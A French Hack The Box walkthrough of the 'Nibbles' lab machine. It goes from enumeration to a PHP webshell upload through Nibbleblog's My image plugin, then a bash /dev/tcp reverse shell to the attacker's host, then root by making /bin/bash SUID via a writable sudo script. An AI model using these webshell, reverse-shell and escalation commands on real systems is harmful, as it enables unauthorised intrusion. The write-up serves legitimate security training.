Introduction

La machine Nibbles de Hack The Box, classée HTB Easy, propose un chemin d’exploitation court mais intéressant pour travailler les bases de l’énumération web, de l’identification d’un CMS vulnérable et de l’escalade de privilèges Linux.

La première partie du challenge repose sur un site web minimal qui mène vers une installation de Nibbleblog. L’analyse de l’application permet ensuite d’identifier une version ancienne du CMS, puis de tester concrètement une faiblesse liée au plugin My image. L’exploitation de cet upload permet d’obtenir un premier shell avec l’utilisateur nibbler.

La seconde partie se concentre sur l’environnement local de cet utilisateur. L’examen des droits sudo révèle qu’un script précis peut être exécuté avec les privilèges root. L’analyse des fichiers présents dans le répertoire personnel permet ensuite de relier cette autorisation à un chemin d’escalade exploitable.

Ce writeup détaille donc la progression complète sur Nibbles : énumération des services, découverte de Nibbleblog, prise de pied via upload PHP, stabilisation du shell, puis escalade de privilèges à partir d’un script autorisé en sudo.


Énumération

Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.

Concrètement, l’objectif de cette phase d’énumération est d’identifier :

  • quels ports sont ouverts
  • quels services sont accessibles
  • si une application web est présente
  • quels répertoires sont exposés
  • si des sous-domaines ou vhosts peuvent être exploités

Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :

  • mon-nmap : identifie les ports ouverts et les services en écoute
  • mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
  • mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts

Tu retrouves ces outils dans la section Outils / Mes scripts.

Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :

/usr/share/wordlists/htb-dns-vh-5000.txt


Avant de lancer les scans, vérifie que le nom d’hôte nibbles.htb résout correctement vers l’adresse IP de la cible.

Sur HTB, cela passe généralement par une entrée dans /etc/hosts.

  • Ajoute l’entrée 10.129.x.x nibbles.htb dans /etc/hosts.
sudo nano /etc/hosts
  • Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap nibbles.htb

# Résultats dans le répertoire scans_nmap/
#  - scans_nmap/full_tcp_scan.txt
#  - scans_nmap/enum_ftp_smb_scan.txt
#  - scans_nmap/aggressive_vuln_scan.txt
#  - scans_nmap/cms_vuln_scan.txt
#  - scans_nmap/udp_vuln_scan.txt

Scan initial

Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/nibbles/full_tcp_scan.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.86 seconds

Scan FTP/SMB

Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :

  • FTP sur le port 21
  • SMB sur le port 139 et/ou 445

Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :

# mon-nmap — ENUM FTP / SMB
# Target : nibbles.htb
# Date   : [date]

Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80

Scan agressif

Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.

Ce scan fournit des informations détaillées sur les services et versions détectés.

Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :

[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour nibbles.htb
[+] Commande utilisée :
    nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "nibbles.htb"

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/nibbles/aggressive_vuln_scan_raw.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   13.44 ms 10.10.x.1
2   7.41 ms  nibbles.htb (10.129.x.x)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 15.04 seconds

Scan ciblé CMS

Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/nibbles/cms_vuln_scan.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-headers: 
|   Date: Thu, 11 Jun 2026 07:59:54 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
|   ETag: "5d-5616c3cf7fa77"
|   Accept-Ranges: bytes
|   Content-Length: 93
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 17.78 seconds

Scan UDP rapide

Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/nibbles/udp_vuln_scan.txt nibbles.htb
Warning: 10.129.x.x giving up on port because retransmission cap hit (6).
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.014s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 9.21 seconds

Énumération des chemins web

Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb

mon-recoweb nibbles.htb

# Résultats dans le répertoire scans_recoweb/
#  - scans_recoweb/RESULTS_SUMMARY.txt     ← vue d’ensemble des découvertes
#  - scans_recoweb/dirb.log
#  - scans_recoweb/dirb_hits.txt
#  - scans_recoweb/ffuf_dirs.txt
#  - scans_recoweb/ffuf_dirs_hits.txt
#  - scans_recoweb/ffuf_files.txt
#  - scans_recoweb/ffuf_files_hits.txt
#  - scans_recoweb/ffuf_dirs.json
#  - scans_recoweb/ffuf_files.json

Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.2.3

Cible        : nibbles.htb
Périmètre    : /
Date début   : [date]

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://nibbles.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/nibbles.htb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://nibbles.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/nibbles.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/nibbles.htb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://nibbles.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/nibbles.htb/ffuf_files.json 2>&1 | tee scans_recoweb/nibbles.htb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://nibbles.htb/. (CODE:200|SIZE:93)
http://nibbles.htb/.htaccess.bak (CODE:403|SIZE:299)
http://nibbles.htb/.htaccess (CODE:403|SIZE:295)
http://nibbles.htb/.htc (CODE:403|SIZE:290)
http://nibbles.htb/.ht (CODE:403|SIZE:289)
http://nibbles.htb/.htgroup (CODE:403|SIZE:294)
http://nibbles.htb/.htm (CODE:403|SIZE:290)
http://nibbles.htb/.html (CODE:403|SIZE:291)
http://nibbles.htb/.htpasswd (CODE:403|SIZE:295)
http://nibbles.htb/.htpasswds (CODE:403|SIZE:296)
http://nibbles.htb/.htuser (CODE:403|SIZE:293)
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/.php (CODE:403|SIZE:290)
http://nibbles.htb/server-status (CODE:403|SIZE:299)
http://nibbles.htb/server-status/ (CODE:403|SIZE:299)
http://nibbles.htb/wp-forum.phps (CODE:403|SIZE:299)

=== Détails par outil ===

[DIRB]
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/server-status (CODE:403|SIZE:299)

[FFUF — DIRECTORIES]
http://nibbles.htb/server-status/ (CODE:403|SIZE:299)

[FFUF — FILES]
http://nibbles.htb/. (CODE:200|SIZE:93)
http://nibbles.htb/.htaccess.bak (CODE:403|SIZE:299)
http://nibbles.htb/.htaccess (CODE:403|SIZE:295)
http://nibbles.htb/.htc (CODE:403|SIZE:290)
http://nibbles.htb/.ht (CODE:403|SIZE:289)
http://nibbles.htb/.htgroup (CODE:403|SIZE:294)
http://nibbles.htb/.htm (CODE:403|SIZE:290)
http://nibbles.htb/.html (CODE:403|SIZE:291)
http://nibbles.htb/.htpasswd (CODE:403|SIZE:295)
http://nibbles.htb/.htpasswds (CODE:403|SIZE:296)
http://nibbles.htb/.htuser (CODE:403|SIZE:293)
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/.php (CODE:403|SIZE:290)
http://nibbles.htb/wp-forum.phps (CODE:403|SIZE:299)

Recherche de vhosts

Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .

=== mon-subdomains nibbles.htb START ===
Script       : mon-subdomains
Version      : mon-subdomains 2.0.1
Date         : [date]
Domaine      : nibbles.htb
IP           : 10.129.x.x
Mode         : large
Master       : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes        : 200,301,302,401,403  (strict=1)

VHOST totaux : 0
  - (aucun)

--- Détails par port ---
Port 80 (http)
  Baseline#1: code=200 size=93 words=9 (Host=vidt2zbzyq.nibbles.htb)
  Baseline#2: code=200 size=93 words=9 (Host=wkm87ohq1h.nibbles.htb)
  Baseline#3: code=200 size=93 words=9 (Host=yyl3l5dgem.nibbles.htb)
  VHOST (0)
    - (fuzzing sauté : wildcard probable)
    - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)



=== mon-subdomains nibbles.htb END ===

Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.

Prise pied

Identification de Nibbleblog

L’énumération web de la racine du site montre une page très simple Hello world !.

En affichant le code source de cette page, tu identifies un commentaire HTML qui indique un sous-répertoire intéressant :

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Tu visites alors le répertoire indiqué :

http://nibbles.htb/nibbleblog/ 

Tu arrives sur une instance Nibbleblog, un moteur de blog léger écrit en PHP.

Page d’accueil de Nibbleblog sur la machine Nibbles

À partir de là, tu relances une énumération web ciblée sur ce sous-répertoire avec mon-recoweb :

mon-recoweb http://nibbles.htb/nibbleblog/

Les résultats agrégés font ressortir notamment les chemins suivants :

http://nibbles.htb/nibbleblog/admin/
http://nibbles.htb/nibbleblog/admin.php (CODE:200|SIZE:1401)
http://nibbles.htb/nibbleblog/content/
http://nibbles.htb/nibbleblog/index.php (CODE:200|SIZE:2987)
http://nibbles.htb/nibbleblog/languages/
http://nibbles.htb/nibbleblog/plugins/
http://nibbles.htb/nibbleblog/README (CODE:200|SIZE:4628)
http://nibbles.htb/nibbleblog/themes/

Deux éléments sont particulièrement utiles pour la suite :

  • admin.php, qui correspond à l’interface d’administration ;
  • README, qui peut permettre d’identifier précisément la version installée.

Tu consultes donc le fichier README :

http://nibbles.htb/nibbleblog/README 

Son contenu indique la version de l’application :

====== Nibbleblog ====== 
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

La cible utilise donc Nibbleblog v4.0.3.

Cette première étape permet d’identifier clairement la technologie, sa version, ainsi que l’interface d’administration qui servira pour la suite.

Accès à l’interface d’administration

Le scan mon-recoweb a identifié une interface d’administration accessible via admin.php.

Tu l’ouvres dans le navigateur :

http://nibbles.htb/nibbleblog/admin.php

La page affiche un formulaire de connexion à l’administration de Nibbleblog.

Page de connexion à l’administration Nibbleblog

À ce stade, tu ne disposes pas encore d’identifiants. Dans le contexte d’une machine CTF, tu peux commencer par tester quelques combinaisons simples basées sur le nom de l’application, le nom de la machine et des identifiants administrateur courants :

admin:admin
admin:password
admin:nibbles
admin:nibbleblog

La combinaison suivante permet d’accéder à l’administration :

admin:nibbles

Tu arrives alors dans le panneau d’administration de Nibbleblog.

Panneau d’administration de Nibbleblog

L’accès à cette interface est une étape importante : elle te donne accès aux fonctionnalités internes de Nibbleblog, notamment à la gestion des plugins.

Recherche d’une vulnérabilité connue

La version de Nibbleblog étant maintenant identifiée, tu peux vérifier si cette version est associée à une vulnérabilité publique documentée.

Une recherche ciblée sur la version permet de trouver plusieurs références pertinentes :

nibbleblog v4.0.3 vulnerabilities -nibbles

Recherche Google sur les vulnérabilités de Nibbleblog v4.0.3

Parmi les résultats, le site Vulners référence une vulnérabilité publiée à l’origine par Curesec / Packet Storm :

https://vulners.com/packetstorm/PACKETSTORM:133425

L’avis de sécurité décrit une vulnérabilité de type Code Execution dans Nibbleblog 4.0.3.

Le point important est le suivant : le plugin My image, fourni par défaut avec Nibbleblog, conserve l’extension originale du fichier envoyé.

L’application ne vérifie pas correctement le type réel du fichier ni son extension avant de l’écrire sur le serveur.

Cela signifie qu’un utilisateur authentifié dans l’administration peut envoyer un fichier PHP à la place d’une image.

Une fois le fichier uploadé, il peut ensuite être appelé depuis le navigateur, ce qui permet d’exécuter du code PHP côté serveur.

L’avis précise que des identifiants administrateur sont nécessaires et que les warnings éventuels pendant l’upload peuvent être ignorés.

Cela correspond à la situation observée : tu as accès à l’administration de Nibbleblog et le plugin My image est présent.

Tu vérifies maintenant concrètement la vulnérabilité décrite dans l’avis de sécurité.

Exploitation du plugin My image

Tu passes maintenant au test pratique depuis l’administration de Nibbleblog.

Sur Kali, tu crées un fichier PHP minimal :

nano shell.php

Avec le contenu suivant :

<?php system($_GET['cmd']); ?>

Ce fichier permet d’exécuter une commande passée dans le paramètre cmd.

Depuis l’administration de Nibbleblog, tu retournes dans la gestion des plugins.

Liste des plugins installés dans l’administration Nibbleblog

Le plugin My image apparaît bien dans la liste des plugins installés.

Tu l’ouvres afin de vérifier concrètement le comportement décrit dans l’avis de sécurité, puis tu uploades le fichier shell.php.

Upload d’un fichier PHP via le plugin My image de Nibbleblog

Comme indiqué dans l’avis de sécurité, l’upload peut afficher des warnings même si le fichier est bien écrit sur le serveur. Tu vérifies donc directement l’emplacement utilisé par le plugin.

Le fichier uploadé est accessible à l’emplacement par défaut de My image :

http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php

Tu vérifies l’exécution de commande avec id :

http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php?cmd=id

La réponse confirme que le PHP est exécuté côté serveur :

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

La vulnérabilité est confirmée : tu disposes maintenant d’une exécution de commande en tant qu’utilisateur nibbler.

Passage du webshell au reverse shell

L’exécution de commande via le paramètre cmd fonctionne, mais ce n’est pas très confortable pour explorer la machine.

Tu vas donc utiliser cette exécution de commande pour obtenir un shell interactif vers Kali.

Sur Kali, tu ouvres d’abord un listener :

rlwrap -cAr nc -lvnp 4444

Ensuite, depuis le webshell PHP, tu exécutes une commande de reverse shell Bash.

http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.x.x/4444+0>%261'

Note — encodage de l’URL

Dans cette URL, certains caractères sont encodés afin que la commande Bash soit transmise correctement au paramètre cmd.

  • %26 correspond au caractère & ;
  • les + remplacent les espaces ;
  • cet encodage évite que le navigateur ou le serveur web n’interprète une partie de la commande comme de simples séparateurs d’URL.

Sur le listener Kali, tu reçois une connexion :

connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] ...
bash: cannot set terminal process group ...
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$

Tu obtiens ainsi un shell sur la machine cible en tant qu’utilisateur nibbler.

Tu peux le confirmer avec :

id

Résultat :

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Le shell initial est obtenu. Il reste maintenant à le stabiliser pour travailler plus confortablement.

Stabilisation du shell

Le shell obtenu fonctionne, mais il reste limité : pas de vrai terminal interactif, pas de gestion correcte des raccourcis, et le message suivant apparaît :

bash: no job control in this shell

Pour travailler plus confortablement, tu stabilises le reverse shell avec la méthode habituelle : « Stabiliser un Reverse Shell Bash »

Dans le shell obtenu sur la cible, tu lances d’abord Python pour obtenir un pseudo-terminal :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Tu mets ensuite le shell en arrière-plan avec :

Ctrl+Z

De retour sur Kali, tu désactives l’écho local et tu remets le shell au premier plan :

stty raw -echo; fg

Si l’affichage du terminal reste perturbé, tu peux désactiver à nouveau l’écho côté shell :

stty -echo

Tu définis ensuite le type de terminal :

export TERM=xterm

Tu ajustes enfin la taille du terminal selon les dimensions de ta fenêtre Kali :

stty rows 40 columns 120

Après stabilisation, tu vérifies l’utilisateur courant :

id

Résultat :

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Tu te déplaces ensuite dans le répertoire personnel de l’utilisateur :

cd ~
pwd

Résultat :

/home/nibbler

user.txt

Une fois dans le répertoire personnel de nibbler, tu listes les fichiers disponibles :

ls -l

Résultat :

total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Jun 12 09:01 user.txt

Le fichier user.txt est lisible par l’utilisateur courant. Tu peux donc récupérer le flag utilisateur :

cat user.txt
ff92xxxxxxxxxxxxxxxxxxxxxxxxxxxffbb

La prise de pied est terminée : tu disposes d’un shell stabilisé en tant qu’utilisateur nibbler, et le flag utilisateur a été récupéré.

Tu peux maintenant passer à l’escalade de privilèges.

Escalade de privilèges

Une fois connecté en tant que nibbler, tu peux commencer l’énumération locale afin d’identifier une piste permettant d’obtenir les privilèges root.

La méthode générale est détaillée dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » .

Vérification des droits sudo

Après la prise de pied et la récupération du flag utilisateur, tu vérifies les droits sudo disponibles pour l’utilisateur nibbler :

sudo -l

Résultat :

Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Le résultat indique que nibbler peut exécuter en tant que root, sans mot de passe, le script suivant :

/home/nibbler/personal/stuff/monitor.sh

Tu vérifies alors si ce fichier existe déjà :

ls -l /home/nibbler/personal/stuff/monitor.sh

Le fichier n’est pas présent pour le moment. Le chemin indiqué par sudo pointe donc vers un script attendu, mais absent de l’arborescence actuelle.

Recherche du script monitor.sh

Tu reviens alors dans le répertoire personnel de nibbler pour examiner les fichiers disponibles :

cd /home/nibbler
ls -l

Résultat :

total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Jun 12 09:01 user.txt

En plus du flag utilisateur, tu trouves une archive nommée personal.zip.

Le chemin autorisé par sudo commence par /home/nibbler/personal/. L’archive personal.zip devient donc un candidat naturel pour retrouver l’arborescence manquante.

Tu peux d’abord lister son contenu sans l’extraire :

unzip -l personal.zip

L’archive contient notamment le fichier attendu :

personal/
personal/stuff/
personal/stuff/monitor.sh

Tu extrais ensuite l’archive :

unzip personal.zip

Puis tu vérifies les fichiers extraits :

find personal -type f -ls

Résultat :

970      4 -rwxrwxrwx   1 nibbler  nibbler      4015 May  8  2015 personal/stuff/monitor.sh

La sortie confirme la présence du fichier monitor.sh dans l’arborescence extraite :

personal/stuff/monitor.sh

Son chemin complet correspond maintenant au chemin autorisé par sudo :

/home/nibbler/personal/stuff/monitor.sh

Les permissions sont particulièrement favorables :

-rwxrwxrwx

Le script est lisible, exécutable et modifiable par tous les utilisateurs, donc aussi par nibbler.

À ce stade, tu as donc un fichier contrôlable par l’utilisateur courant, et ce même fichier peut être exécuté en tant que root via sudo.

Validation de l’exécution en root

Avant de l’utiliser pour l’escalade, tu peux faire un test simple pour confirmer que son contenu est bien exécuté avec les privilèges root.

Par prudence, tu conserves d’abord une copie du script original :

cp /home/nibbler/personal/stuff/monitor.sh /home/nibbler/personal/stuff/monitor.sh.bak

Tu remplaces ensuite temporairement son contenu par une commande de test :

echo 'id > /var/tmp/monitor-test.txt' > /home/nibbler/personal/stuff/monitor.sh

Tu t’assures que le script reste exécutable :

chmod +x /home/nibbler/personal/stuff/monitor.sh

Puis tu l’exécutes avec sudo :

sudo /home/nibbler/personal/stuff/monitor.sh

Tu vérifies le résultat écrit dans /var/tmp :

cat /var/tmp/monitor-test.txt

Résultat attendu :

uid=0(root) gid=0(root) groups=0(root)

Ce test confirme que le contenu de monitor.sh est bien exécuté avec les privilèges root.

Tu peux maintenant remplacer la commande de test par la commande finale utilisée pour l’escalade.

Exploitation avec un Bash SUID

Une fois l’exécution root confirmée, tu remplaces la commande de test par une commande permettant de poser le bit SUID sur /bin/bash.

L’idée est simple : comme la commande est exécutée avec les privilèges root, elle peut modifier les permissions de /bin/bash. Tu pourras ensuite lancer Bash avec l’option -p pour conserver les privilèges effectifs de root.

echo 'chmod +s /bin/bash' > /home/nibbler/personal/stuff/monitor.sh

Tu relances ensuite le script avec sudo :

sudo /home/nibbler/personal/stuff/monitor.sh

Tu vérifies les permissions de /bin/bash :

ls -l /bin/bash

Le bit SUID doit maintenant apparaître dans les permissions :

-rwsr-sr-x 1 root root ... /bin/bash

Tu peux alors lancer Bash en conservant les privilèges effectifs du propriétaire du binaire avec l’option -p :

bash -p

Tu vérifies l’identité obtenue :

id

Résultat attendu :

uid=1001(nibbler) gid=1001(nibbler) euid=0(root) egid=0(root) 

L’euid=0(root) confirme que le shell dispose des privilèges effectifs de root.

root.txt

Tu peux maintenant lire le flag root :

bash-4.3# cat /root/root.txt
8229xxxxxxxxxxxxxxxxxxxxxxxxxx2621

Tu obtiens ainsi un accès root, ce qui termine l’escalade de privilèges et le challenge.

Conclusion

La machine Nibbles est un bon exemple de machine HTB Easy centrée sur une progression web classique : identifier une application, comprendre son fonctionnement, exploiter un upload vulnérable, puis analyser l’environnement utilisateur pour trouver le chemin d’escalade.

La prise de pied repose sur Nibbleblog et son plugin My image, qui permet de déposer un fichier PHP exploitable côté serveur. Cette étape rappelle qu’un upload de fichier doit toujours être vérifié concrètement, notamment lorsque l’application affiche des messages d’erreur ou des warnings qui ne reflètent pas forcément l’état réel du fichier sur le serveur.

L’escalade de privilèges repose ensuite sur une configuration sudo trop permissive. L’utilisateur nibbler peut exécuter un script précis avec les privilèges root, et l’archive personal.zip permet de retrouver l’arborescence attendue ainsi que le script concerné.

Au final, Nibbles reste une machine accessible, mais elle couvre plusieurs réflexes importants : énumérer sans se précipiter, valider les hypothèses sur l’application web, inspecter les fichiers de l’utilisateur compromis et relier les éléments trouvés aux droits sudo disponibles.